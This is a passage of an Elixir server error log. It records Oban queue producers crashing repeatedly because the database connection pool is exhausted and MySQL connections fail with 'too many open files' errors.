    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:04:05.245280Z], limit: 3, uuid: "dc6d5450-361a-4cac-883d-0b3f57d5b73e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:05.245285Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.261091>, refresh_timer: #Reference<0.2525715032.1121189889.105864>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:04:05.256687Z], limit: 50, uuid: "c1ca858d-239f-4267-8f62-819d8f568b2b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:05.256697Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.261138>, refresh_timer: #Reference<0.2525715032.1121189889.105878>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:04:05.249916Z], limit: 5, uuid: "856cf26a-0bf2-4a7b-8c8e-5adb803000c0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:05.249923Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.261088>, refresh_timer: #Reference<0.2525715032.1099169794.261059>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:04:05.250148Z], limit: 20, uuid: "a7a270c2-efa9-46a8-aef1-370075b6d65f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:05.250154Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.261087>, refresh_timer: #Reference<0.2525715032.1099169794.261067>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:17.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:04:05.248336Z], limit: 10, uuid: "3c99748f-c491-4e63-bfcb-10346ee2abdf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:05.248343Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.261089>, refresh_timer: #Reference<0.2525715032.1077411843.234786>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:04:05.244743Z], limit: 5, uuid: "e5d68865-16cf-451d-8540-a9fba665f597", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:05.244753Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.261090>, refresh_timer: #Reference<0.2525715032.1121189889.105848>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:18.463000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:22.356000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:25.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:25.616000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:26.697000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:27.022000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:27.650000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:29.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:04:17.241840Z], limit: 5, uuid: "9409f79c-5dff-4b62-a6a5-96bce724e3ae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:17.241846Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.261518>, refresh_timer: #Reference<0.2525715032.1099169794.261491>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:29.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:04:17.243693Z], limit: 20, uuid: "35528697-f8d5-4b0c-8e34-24ae8f3a4624", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:17.243777Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.261519>, refresh_timer: #Reference<0.2525715032.1077411843.234891>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:29.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:04:17.239358Z], limit: 3, uuid: "10c31653-49d6-4c19-95e3-932f1d88ee72", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:17.239367Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.250834>, refresh_timer: #Reference<0.2525715032.1121189889.105899>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:29.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

